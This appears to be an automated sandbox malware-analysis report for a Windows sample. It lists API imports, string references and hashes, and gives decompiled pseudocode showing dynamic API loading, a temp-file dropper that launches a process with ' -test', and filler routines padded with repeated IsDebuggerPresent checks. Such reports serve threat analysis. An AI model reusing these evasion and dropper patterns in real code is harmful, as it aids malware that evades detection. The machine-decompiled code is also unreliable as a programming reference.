@, xrefs: 0040E9FB
V, xrefs: 0040EA0F
\, xrefs: 0040E94B
(, xrefs: 0040EA03
Y, xrefs: 0040E957
2EM5hP, xrefs: 0040E9C9
), xrefs: 0040E953
Y, xrefs: 0040E9E7
), xrefs: 0040E967
Zz5hM, xrefs: 0040EA71
V, xrefs: 0040E963
7, xrefs: 0040E9F3
1, xrefs: 0040E94F
~, xrefs: 0040E95F

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AllocFree$AddressCloseHandleModuleProcwsprintf
String ID: !$"$($)$)$+$1$2EM5hP$5$7$@$V$V$Y$Y$Z$Zz5hM$[$\$~
API String ID: 4262992170-2516547525
Opcode ID: 7ab73851eb5469861fdfc5d4c25441e1a137f62f07dd7517a42cdb8e85497f1b
Instruction ID: c4a6d80062ede78214fb20424bda13880c239e41812ff59dc834f1046de90d4f
Opcode Fuzzy Hash: 7ab73851eb5469861fdfc5d4c25441e1a137f62f07dd7517a42cdb8e85497f1b
Instruction Fuzzy Hash: AB516370D08288DAEF11DBE9D5587DEBFB56F16308F18409EE141772C2C7B91609CB66

Function 0040CB10, Relevance: 38.6, APIs: 2, Strings: 20, Instructions: 130libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,00000000,0000000D,0000000F), ref: 0040CC78
GetProcAddress.KERNEL32(00000000), ref: 0040CC7F

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

5, xrefs: 0040CB2A
p, xrefs: 0040CBDE
(, xrefs: 0040CBC6
C, xrefs: 0040CBF6
4, xrefs: 0040CB3E
O, xrefs: 0040CB32
&, xrefs: 0040CBCA
q, xrefs: 0040CBE2
L, xrefs: 0040CBE6
!, xrefs: 0040CB2E
F, xrefs: 0040CB56
CCbkTy, xrefs: 0040CC50
5, xrefs: 0040CB42
krFZVy, xrefs: 0040CBB0
", xrefs: 0040CB3A
5, xrefs: 0040CB46
1, xrefs: 0040CBD6
8, xrefs: 0040CBEE
", xrefs: 0040CB1E
_, xrefs: 0040CB36

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeHandleModuleProc
String ID: !$"$"$&$($1$4$5$5$5$8$C$CCbkTy$F$L$O$_$krFZVy$p$q
API String ID: 3419126156-1051406622
Opcode ID: 9ae11a0124290d944354bf5e6001ddb52e913cb56f5ee92e63a6aaeaf148a3fd
Instruction ID: 34a55eda4558303507436eaab3186611c1b48f955d305bae7ff2cb92870d939d
Opcode Fuzzy Hash: 9ae11a0124290d944354bf5e6001ddb52e913cb56f5ee92e63a6aaeaf148a3fd
Instruction Fuzzy Hash: E7514370D082C8DAEF11DBA8D5997DEBFB05F15308F044099E445772C2C7BE1A49DB6A

Function 004178D0, Relevance: 38.6, APIs: 2, Strings: 20, Instructions: 127libraryloader

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

GetModuleHandleA.KERNEL32(00000000,0000000E,0000000A), ref: 00417A18
GetProcAddress.KERNEL32(00418554,00000000), ref: 00417A2E

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

0, xrefs: 00417993
6, xrefs: 0041799F
!, xrefs: 004178F7
T6dqUS, xrefs: 004179F9
', xrefs: 0041799B
1, xrefs: 004178DB
Y, xrefs: 004178E3
5, xrefs: 004178FB
2EM5hP, xrefs: 00417955
~, xrefs: 004178EB
0, xrefs: 0041797B
D, xrefs: 00417987
), xrefs: 004178F3
+, xrefs: 00417973
A, xrefs: 0041796F
=, xrefs: 0041797F
\, xrefs: 004178D7
), xrefs: 004178DF
, xrefs: 00417997
V, xrefs: 004178EF

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$AddressAllocFreeHandleModuleProc
String ID: $!$'$)$)$+$0$0$1$2EM5hP$5$6$=$A$D$T6dqUS$V$Y$\$~
API String ID: 3419126156-875816233
Opcode ID: b7f73298df34950498d216524abd28228b5d9349846eba7a007432394ddb5bb6
Instruction ID: 9e8c429c7cd6225668946c3f99ae104610ebcc9703771f15d64ef92ed13d4481
Opcode Fuzzy Hash: b7f73298df34950498d216524abd28228b5d9349846eba7a007432394ddb5bb6
Instruction Fuzzy Hash: 54515F70D082C8DAEF12DBA8D5987DEBFB46F15308F18409EE541772C2C7B91A49CB66

Function 00425E90, Relevance: 35.2, APIs: 13, Strings: 7, Instructions: 212
thread

C-Code - Quality: 93%

			E00425E90(signed int _a4, signed int _a8, char _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _OSVERSIONINFOA _v172;
				signed int _v176;
				signed int _v180;
				intOrPtr _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v212;
				signed int _v216;
				intOrPtr* _v224;
				intOrPtr _v228;
				signed int* _v236;
				struct _OSVERSIONINFOA _v388;
				intOrPtr* _v392;
				signed int* _v400;
				signed int _v408;
				struct _OSVERSIONINFOA _v564;
				signed int* _v568;
				intOrPtr _v572;
				signed int* _v576;
				intOrPtr _v580;
				signed int* _v584;
				signed int* _v588;

				GetCommandLineA();
				_v16 = 0xe343;
				_v20 = 0xf5;
				asm("cdq");
				_v200 = _v16 / (_v20 + 1);
				_v212 = 0;
				while(_v212 < 3) {
					_v180 = 0xf5e6e900;
					_v188 = 0xcc;
					_v176 = _v180 * _v188;
					GetCurrentThread();
					_v212 = _v212 + 1;
				}
				_a12 = 0x31;
				_v208 = 0x20;
				_t21 =  &_a12; // 0x31
				_v12 =  *_t21 * _v208;
				GetVersionExA( &_v172);
				_v192 = 0x54;
				_v180 = 0xf3786301;
				asm("cdq");
				_v200 = _v192 / (_v180 + 1) + _v200;
				_v8 = 0x16;
				_a8 = _v8 + _v12;
				_v188 = 0xff7fc5a4;
				_v176 = 0x5f6e;
				_v200 = _v200 - (_v188 | _v176) + _v16;
				GetEnvironmentStrings();
				GetEnvironmentStringsW();
				if(_v20 != 0xe2a6) {
					_v236 =  &_v12;
					_v204 = 0x8d;
					asm("cdq");
					_v192 = (_v20 & 0xff2c2a7a) / (_v12 + 1) * _v192;
				} else {
					_a4 = 0x2d;
					if(_a4 == 0x7abc) {
						GetTickCount();
						_v216 = 0xbb14;
						_v224 =  &_v20;
						_v16 = _v16 - (_v216 | _v20) +  *_v224;
					} else {
						_v8 = _v8 - _v200 - (_a8 & 0x000000f4);
					}
					_v204 = 0xf8f38616;
					_v192 = (_v12 & _v20) * _v204 * _v192;
					_v228 = 0;
					while(_v228 < 5) {
						IsDebuggerPresent();
						_v196 = 0xd771;
						_v188 = _v196 * _a4 + _v188;
						_v228 = _v228 + 1;
					}
				}
				if(_v200 < 0xa1) {
					if(_v192 != _v16) {
						_v568 =  &_v20;
						_v576 =  &_v16;
						_v12 =  *_v568 *  *_v576 + _v12;
						_v572 = _v188 - _v188;
					} else {
						IsDebuggerPresent();
						_v196 = (_v180 | 0x00003b89) * _v8;
						GetVersionExA( &_v564);
					}
					_v408 = 0x8ba5;
					_v400 =  &_v8;
					_a12 =  *_v400 * _v408 + _a12;
					_v580 = 0;
					while(_v580 < 2) {
						_v196 = 0xf3d0bd2a;
						_v584 =  &_v196;
						_v588 =  &_v196;
						_v180 =  *_v584 *  *_v588 * _v180;
						_v204 = 0x30;
						asm("cdq");
						_v8 = _v8 - (_v204 & 0x000000a9) / (_v176 + 1);
						_v580 = _v580 + 1;
					}
				} else {
					_v392 =  &_v20;
					_v16 =  *_v392 - _a12 + _v16;
					GetVersionExA( &_v388);
					if(_v208 == _v188) {
						_v196 = 0xffb07681;
						_v184 = (_v12 & 0x0000cacc) + _v196;
						GetEnvironmentStrings();
						IsDebuggerPresent();
					} else {
						_a4 = 0x6d9a;
						_v8 = (_a4 - _a8) * _v8;
						_v192 = _v200 * _v188 + _v192;
					}
				}
				return IsDebuggerPresent();
			}

0x00425e99
0x00425e9f
0x00425ea6
0x00425eb6
0x00425eb9
0x00425ebf
0x00425eda
0x00425ee3
0x00425eed
0x00425f04
0x00425f0a
0x00425ed4
0x00425ed4
0x00425f12
0x00425f19
0x00425f23
0x00425f2d
0x00425f37
0x00425f3d
0x00425f47
0x00425f60
0x00425f69
0x00425f6f
0x00425f7c
0x00425f7f
0x00425f89
0x00425faa
0x00425fb0
0x00425fb6
0x00425fc3
0x0042609b
0x004260a1
0x004260b9
0x004260c3
0x00425fc9
0x00425fc9
0x00425fd7
0x00425ff4
0x00425ffa
0x00426007
0x00426023
0x00425fd9
0x00425fef
0x00425fef
0x00426026
0x00426044
0x0042604a
0x00426065
0x0042606e
0x00426074
0x0042608e
0x0042605f
0x0042605f
0x00426096
0x004260d3
0x00426175
0x004261a5
0x004261ae
0x004261c8
0x004261d7
0x00426177
0x00426177
0x0042618d
0x0042619a
0x0042619a
0x004261dd
0x004261ea
0x00426202
0x00426205
0x00426220
0x00426229
0x00426239
0x00426245
0x00426263
0x00426269
0x00426287
0x0042628f
0x0042621a
0x0042621a
0x004260d9
0x004260dc
0x004260f0
0x004260fa
0x0042610c
0x0042613d
0x00426155
0x0042615b
0x00426161
0x0042610e
0x0042610e
0x0042611f
0x00426135
0x00426135
0x00426167
0x004262a0

APIs

GetCommandLineA.KERNEL32 ref: 00425E99
GetCurrentThread.KERNEL32 ref: 00425F0A
GetVersionExA.KERNEL32(?), ref: 00425F37
GetEnvironmentStrings.KERNEL32 ref: 00425FB0
GetEnvironmentStringsW.KERNEL32 ref: 00425FB6
GetTickCount.KERNEL32 ref: 00425FF4
IsDebuggerPresent.KERNEL32 ref: 0042606E
GetVersionExA.KERNEL32(?), ref: 004260FA
GetEnvironmentStrings.KERNEL32 ref: 0042615B
IsDebuggerPresent.KERNEL32 ref: 00426161
IsDebuggerPresent.KERNEL32 ref: 00426177
GetVersionExA.KERNEL32(?), ref: 0042619A
IsDebuggerPresent.KERNEL32 ref: 00426297

Strings

1C, xrefs: 00425F23
T, xrefs: 00425F3D
n_, xrefs: 00425F89
-, xrefs: 00425FC9
C, xrefs: 00425E9F
0, xrefs: 00426269
, xrefs: 00425F19

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: DebuggerPresent$EnvironmentStringsVersion$CommandCountCurrentLineThreadTick
String ID: $-$0$1C$C$T$n_
API String ID: 188813702-1205675593
Opcode ID: 67877c11c4c3ebc0b6da1ad19bc119aa049e2ce6a61ab832f5a0dff11e36b259
Instruction ID: 4b453ea35dbb756ccd1c99bfc47ab7cb8dcdaa3053863a134dd08cbf0c896247
Opcode Fuzzy Hash: 67877c11c4c3ebc0b6da1ad19bc119aa049e2ce6a61ab832f5a0dff11e36b259
Instruction Fuzzy Hash: A3C1BEB5901228DFEB28CF94DD98B9DBBB6FF44304F1086DAD809AB250D7746A84CF15

Function 00415440, Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 132memoryprocesssynchronization

APIs

GetProcessHeap.KERNEL32(00000008,00000208,00429394), ref: 00415455
HeapAlloc.KERNEL32(00000000), ref: 0041545C
GetProcessHeap.KERNEL32(00000008,00000208), ref: 0041546C
HeapAlloc.KERNEL32(00000000), ref: 00415473
GetTempPathW.KERNEL32(00000104,00000000), ref: 00415499
GetTempFileNameW.KERNEL32(00000000,tmp,00000000,00000000), ref: 004154B6

Part of subcall function 004039A0: CreateFileW.KERNELBASE(00000000,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 004039FE
Part of subcall function 004039A0: GetLastError.KERNEL32(?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A0D
Part of subcall function 004039A0: Sleep.KERNEL32(0000000A,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A26
Part of subcall function 004039A0: CreateFileW.KERNEL32(00000020,C0000000,00000000,00000000,00000000,00000080,00000000), ref: 00403A44
Part of subcall function 004039A0: SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403A7F
Part of subcall function 004039A0: WriteFile.KERNELBASE(000000FF,00000000,00000001,00418A8C,00000000), ref: 00403A97
Part of subcall function 004039A0: SetEndOfFile.KERNELBASE(000000FF,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AA5
Part of subcall function 004039A0: GetLastError.KERNEL32(?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AB4
Part of subcall function 004039A0: SetFileTime.KERNELBASE(000000FF,00000000,00000000,00000000,?,?,?,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403ACD
Part of subcall function 004039A0: FlushFileBuffers.KERNEL32(000000FF), ref: 00403AD7
Part of subcall function 004039A0: CloseHandle.KERNEL32(000000FF), ref: 00403AE1
Part of subcall function 004039A0: GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,?,00000000,00000001,00000000,?,00418A8C,00000000), ref: 00403AF3
Part of subcall function 004039A0: HeapFree.KERNEL32(00000000,?,00000000), ref: 00403AFA

Part of subcall function 00403450: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00429394), ref: 00403497
Part of subcall function 00403450: SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 00403514
Part of subcall function 00403450: LocalAlloc.KERNEL32(00000040,00000014), ref: 0040351E
Part of subcall function 00403450: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 0040352D
Part of subcall function 00403450: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 0040353F
Part of subcall function 00403450: SetFileSecurityW.ADVAPI32(00000000,00000004,00000000), ref: 0040354F
Part of subcall function 00403450: FreeSid.ADVAPI32(00000000), ref: 0040355F
Part of subcall function 00403450: LocalFree.KERNEL32(00000000), ref: 0040356F
Part of subcall function 00403450: LocalFree.KERNEL32(00000000), ref: 0040357F

StrCpyW.SHLWAPI(00000000,0041C6D4), ref: 00415516
StrCatW.SHLWAPI(00000000,00000000), ref: 00415524
StrCatW.SHLWAPI(00000000," -test), ref: 00415533
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,08000008,00000000,00000000,00000044,?), ref: 00415556
WaitForSingleObject.KERNEL32(?,0000EA60), ref: 00415569
GetExitCodeProcess.KERNEL32(?,00000000), ref: 00415585
TerminateProcess.KERNEL32(?,000000FF), ref: 004155A7

Part of subcall function 00403B10: DeleteFileW.KERNEL32(00000000), ref: 00403B3C
Part of subcall function 00403B10: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00403B61
Part of subcall function 00403B10: HeapFree.KERNEL32(00000000), ref: 00403B68

GetProcessHeap.KERNEL32(00000000,00000000), ref: 004155BF
HeapFree.KERNEL32(00000000), ref: 004155C6
GetProcessHeap.KERNEL32(00000000,00000000), ref: 004155D2
HeapFree.KERNEL32(00000000), ref: 004155D9

Strings

" -test, xrefs: 0041552A
D, xrefs: 004154FA
tmp, xrefs: 004154AD

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$File$Process$Free$AllocCreateLocalSecurity$DescriptorErrorInitializeLastTemp$AllocateBuffersCloseCodeDaclDeleteEntriesExitFlushHandleNameObjectPathPointerSingleSleepTerminateTimeWaitWrite
String ID: " -test$D$tmp
API String ID: 2259168804-2540767180
Opcode ID: fe27d986b90eaa87c681635e776ccc3ee5ba76e76ddca564d4024781fa48c11b
Instruction ID: fe19e80ceb0388bc410ccd4f6152dfb1de63f33c09d02d17226929df424e0e21
Opcode Fuzzy Hash: fe27d986b90eaa87c681635e776ccc3ee5ba76e76ddca564d4024781fa48c11b
Instruction Fuzzy Hash: BF4121B5A80308FBEB10DBE4DC89FEE777AAB48701F108555F611A62D1DB789A40CB58

Function 00426880, Relevance: 31.7, APIs: 13, Strings: 5, Instructions: 178
thread

C-Code - Quality: 93%

			E00426880(signed int _a4, signed int _a8, signed int _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int* _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v68;
				intOrPtr* _v72;
				signed int _v84;
				intOrPtr _v92;
				signed int* _v104;
				struct _OSVERSIONINFOA _v260;
				intOrPtr _v268;
				signed int _v272;
				intOrPtr _v276;
				signed int* _v280;
				intOrPtr _v288;

				_v20 = 0x34;
				if(_v20 > 0xfae8b830) {
					IsDebuggerPresent();
					_v44 = 0x84cf;
					_v84 = _v20 * _v44;
				} else {
					GetTickCount();
					_v68 = 0;
					while(_v68 < 4) {
						_v36 = 0x71b;
						_a8 = 0xff70dc5a;
						_v72 =  &_a8;
						_v32 = (_v36 & 0xfd54a07a) -  *_v72;
						IsDebuggerPresent();
						IsDebuggerPresent();
						_v68 = _v68 + 1;
					}
					_v40 = 0x428a;
					_a8 = 0xf64ef00a;
					asm("cdq");
					_v32 = (_v40 | 0x0000d924) / (_a8 + 1);
				}
				_v8 = 0x2912;
				_v56 = 0x531e;
				_v8 = (_v8 - _v56) * _v8;
				IsDebuggerPresent();
				GetEnvironmentStringsW();
				_a4 = 0xc8;
				_a8 = 0xe952;
				_v24 = (_a8 & _a4) * _a4;
				_v36 = 0x7419;
				_v48 =  &_v36;
				asm("cdq");
				_v20 =  *_v48 / (_a8 + 1) + _v20;
				_v16 = 0x7eb0;
				if(_v16 == 0xf1912b16) {
					_v268 = 0xf4259abe;
					if(_v268 == 0xffc5e29c) {
						IsDebuggerPresent();
						_v12 = 0x4db7;
						_v36 = _v36 - _v12 - _v12;
						_v32 = 0xdc;
						_v272 = _v32 * _a8;
					}
					GetCommandLineA();
				} else {
					_v32 = 0x7f1;
					if(_v32 == 0xfa53b1bd) {
						GetVersionExA( &_v260);
						_v12 = 0xfafbc651;
						_v92 = 0x3c35;
						_v16 = (_v12 + _v92) * _v16;
					}
					_v12 = 0x3136;
					_v40 = 0xc6;
					_v104 =  &_v12;
					asm("cdq");
					_v44 = ( *_v104 | 0x0000d47f) / (_v40 + 1);
					GetCurrentThread();
				}
				_v276 = 0;
				while(_v276 < 5) {
					_v12 = 0xc3;
					_v52 = 0x88ec;
					_v280 =  &_v52;
					_v16 = _v16 - _v12 - ( *_v280 | _v52);
					_v276 = _v276 + 1;
				}
				_v40 = 0x21b2;
				_v52 = (_a8 | 0xff30064a) - _v40;
				_v28 = 0xc;
				asm("cdq");
				_v28 = (_v20 & _v28) / (_v24 + 1) + _v28;
				_v60 = 0x6f;
				_v12 = 0x97;
				if(_v60 <= _v12) {
					GetTickCount();
					if(_a4 != _v28) {
						_a12 = (_v24 | _v12) * _v40;
					} else {
						_a12 = _v20 - _v24;
					}
				}
				_v288 = 0;
				while(_v288 < 4) {
					GetTickCount();
					_v40 = _v36 - _v24 + _v40;
					_v288 = _v288 + 1;
				}
				return IsDebuggerPresent();
			}

0x00426889
0x00426897
0x0042690e
0x00426914
0x00426922
0x00426899
0x00426899
0x0042689f
0x004268b1
0x004268b7
0x004268be
0x004268c8
0x004268d9
0x004268dc
0x004268e2
0x004268ae
0x004268ae
0x004268ea
0x004268f1
0x00426906
0x00426909
0x00426909
0x00426925
0x0042692c
0x0042693d
0x00426940
0x00426946
0x0042694c
0x00426953
0x00426964
0x00426967
0x00426971
0x0042697f
0x00426985
0x00426988
0x00426996
0x00426a02
0x00426a16
0x00426a18
0x00426a1e
0x00426a30
0x00426a33
0x00426a41
0x00426a41
0x00426a47
0x00426998
0x00426998
0x004269a6
0x004269af
0x004269b5
0x004269bc
0x004269cd
0x004269cd
0x004269d0
0x004269d7
0x004269e1
0x004269f4
0x004269f7
0x004269fa
0x004269fa
0x00426a4d
0x00426a68
0x00426a71
0x00426a78
0x00426a82
0x00426a9d
0x00426a62
0x00426a62
0x00426aa2
0x00426ab5
0x00426ab8
0x00426acb
0x00426ad1
0x00426ad4
0x00426adb
0x00426ae8
0x00426aea
0x00426af6
0x00426b0d
0x00426af8
0x00426afe
0x00426afe
0x00426af6
0x00426b10
0x00426b2b
0x00426b34
0x00426b43
0x00426b25
0x00426b25
0x00426b51

APIs

GetTickCount.KERNEL32 ref: 00426899
IsDebuggerPresent.KERNEL32 ref: 004268DC
IsDebuggerPresent.KERNEL32 ref: 004268E2
IsDebuggerPresent.KERNEL32 ref: 0042690E
IsDebuggerPresent.KERNEL32 ref: 00426940
GetEnvironmentStringsW.KERNEL32 ref: 00426946
GetVersionExA.KERNEL32(?), ref: 004269AF
GetCurrentThread.KERNEL32 ref: 004269FA
IsDebuggerPresent.KERNEL32 ref: 00426A18
GetCommandLineA.KERNEL32 ref: 00426A47
GetTickCount.KERNEL32 ref: 00426AEA
GetTickCount.KERNEL32 ref: 00426B34
IsDebuggerPresent.KERNEL32 ref: 00426B48

Strings

R, xrefs: 00426953
5<, xrefs: 004269BC
4, xrefs: 00426889
61, xrefs: 004269D0
o, xrefs: 00426AD4

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: DebuggerPresent$CountTick$CommandCurrentEnvironmentLineStringsThreadVersion
String ID: 4$5<$61$R$o
API String ID: 2668658174-861803544
Opcode ID: 9085d46be48e7bac4d01aeafaa6fc00b1e15822ee8e429903b697dc9c252ab71
Instruction ID: a4817ac8a08fd5936c49d65a473de53196ad438bd16d11b969bf1b2426779ac7
Opcode Fuzzy Hash: 9085d46be48e7bac4d01aeafaa6fc00b1e15822ee8e429903b697dc9c252ab71
Instruction Fuzzy Hash: CA91C0B4D00219DFDF18CF94D989AEDBBB1FF48314F10819AD819AB244C7786A85CF98

Function 004262B0, Relevance: 30.0, APIs: 10, Strings: 7, Instructions: 280

C-Code - Quality: 93%

			E004262B0(char _a4) {
				signed int _v8;
				char _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int* _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				intOrPtr _v64;
				intOrPtr* _v72;
				intOrPtr _v76;
				intOrPtr _v80;
				signed int _v84;
				signed int* _v88;
				intOrPtr _v92;
				signed int* _v96;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int* _v116;
				intOrPtr _v120;
				signed int _v124;
				signed int _v128;
				signed int _v136;
				signed int* _v140;
				signed int* _v144;
				signed int* _v156;
				signed int* _v168;
				intOrPtr _v176;
				signed int _v180;
				signed int* _v188;
				signed int _v192;
				intOrPtr _v196;
				signed int* _v200;
				intOrPtr* _v204;
				signed int _v208;
				intOrPtr* _v212;
				intOrPtr* _v216;
				signed int _t230;
				signed int _t235;

				_v64 = 0;
				while(_v64 < 5) {
					GetEnvironmentStringsW();
					GetEnvironmentStringsW();
					_v64 = _v64 + 1;
				}
				_v12 = 0xf17a9464;
				if(_v12 != 0x6656) {
					IsDebuggerPresent();
					_v92 = 0;
					while(_v92 < 5) {
						_v60 = 0xd0;
						_v8 = 0xd8;
						_v96 =  &_v8;
						_v48 = _v60 *  *_v96;
						_v20 = 0xfffd0888;
						_v104 = 0xf7;
						asm("cdq");
						_v48 = _v48 - _v20 / (_v104 + 1);
						_v100 = 0xf41375b1;
						_v24 = 0xe836;
						_v108 = _v100 - _v24;
						_v92 = _v92 + 1;
					}
				} else {
					_v56 = 0xfff3b66f;
					if(_v56 < 0xeae1) {
						_v84 = 0x26d3;
						_v36 = 0xfd4d1a56;
						_v88 =  &_v36;
						_v8 = ( *_v88 | _v84) + _v84;
					} else {
						_v20 = 0xe79a;
						_v24 = 0xf18a7c19;
						_v44 = _v20 - _v24;
						_v28 = 0x9d32;
						_v48 = 0x713d;
						_v24 = (_v28 - _v48) * _v24;
						_v80 = 0xaf;
						_v72 =  &_v48;
						_v76 = _v80 -  *_v72;
					}
				}
				IsDebuggerPresent();
				_v112 = 0;
				while(_v112 < 3) {
					_a4 = 0xd8;
					_v40 = 0x8bbc;
					_v116 =  &_a4;
					asm("cdq");
					_v8 =  *_v116 / (_v40 + 1);
					_v112 = _v112 + 1;
				}
				_v120 = 0;
				while(_v120 < 4) {
					_v8 = 0x5680;
					if(_v8 == 0x1a) {
						_v16 = 0xd4;
						_v24 = 0xfd;
						_v144 =  &_v16;
						_v140 =  &_v24;
						_v136 = 0x6058;
						_v12 = ( *_v144 | _v136) *  *_v140 + _v12;
						_v128 = _v24 * _v24;
						_v124 = 0xdf;
						_v136 = _v124 * _v124 * _v136;
					}
					GetTickCount();
					_v128 = 0xfed06e9c;
					_v52 = 0x2646;
					_v28 = 0x96cb;
					asm("cdq");
					_v60 = (_v128 | _v28) / (_v52 + 1);
					_v120 = _v120 + 1;
				}
				_v16 = 0xf5fe5364;
				_v40 = 0x60;
				_v32 =  &_v40;
				_v60 = 0xfeeb3a31;
				_v16 = _v16 - _v16 - ( *_v32 | _v60);
				GetCommandLineA();
				_v52 = 0xfc7c8dfc;
				_v16 = (_v12 - _v52) * _v16;
				GetCommandLineA();
				_v44 = 0xf73db66b;
				if(_v44 == 0xe6) {
					_v168 =  &_v60;
					asm("cdq");
					_v16 = ( *_v168 | 0x0000ab1b) / (_v52 + 1) + _v16;
					_v28 = 0xf6ab620c;
					if(_v28 != 0x67) {
						GetEnvironmentStrings();
					}
				} else {
					GetTickCount();
					_v48 = 0xf420f3a1;
					_v156 =  &_v48;
					asm("cdq");
					_v28 = _v16 / (_v48 + 1);
					if(_v60 == _v40) {
						GetTickCount();
					}
				}
				_v176 = 0;
				while(_v176 < 2) {
					_v56 = 4;
					_v188 =  &_v40;
					_v48 =  *_v188 * _v56;
					_v180 = 0x60c0;
					_v28 = 0x23f7;
					_a4 = (_v40 & _v28) - (_v180 | _v180);
					_v196 = 0;
					while(_v196 < 4) {
						_v20 = 0xfc9757a9;
						_v204 =  &_v20;
						_v44 = (_v16 +  *_v204) * _v44;
						_v208 = 0xf51f0e64;
						_v200 =  &_a4;
						_v192 = 0xcc;
						_v12 = _v12 - (_v208 & _v192) *  *_v200;
						_v196 = _v196 + 1;
					}
					_v176 = _v176 + 1;
				}
				asm("cdq");
				_t230 = (_v52 | 0x0000003e) / (_v52 + 1);
				_v48 = _t230;
				_v8 = 0xad;
				if(_v8 == 0xf5153f27) {
					_v216 =  &_v12;
					_v212 =  &_v8;
					_v20 =  *_v216 -  *_v212;
					_v28 = 0x88fc;
					_v36 = 0x20bd;
					_v56 = _v28 + _v36;
					_t235 = _v20 - (_v20 | _v16) * _v48;
					_v20 = _t235;
					return _t235;
				}
				return _t230;
			}

0x004262b9
0x004262cb
0x004262d1
0x004262d7
0x004262c8
0x004262c8
0x004262df
0x004262ed
0x00426373
0x00426379
0x0042638b
0x00426391
0x00426398
0x004263a2
0x004263ae
0x004263b1
0x004263b8
0x004263c8
0x004263d0
0x004263d3
0x004263da
0x004263e7
0x00426388
0x00426388
0x004262f3
0x004262f3
0x00426301
0x0042634f
0x00426356
0x00426360
0x0042636e
0x00426303
0x00426303
0x0042630a
0x00426317
0x0042631a
0x00426321
0x00426332
0x00426335
0x0042633f
0x0042634a
0x0042634a
0x00426371
0x004263ec
0x004263f2
0x00426404
0x0042640a
0x00426411
0x0042641b
0x00426429
0x0042642c
0x00426401
0x00426401
0x00426431
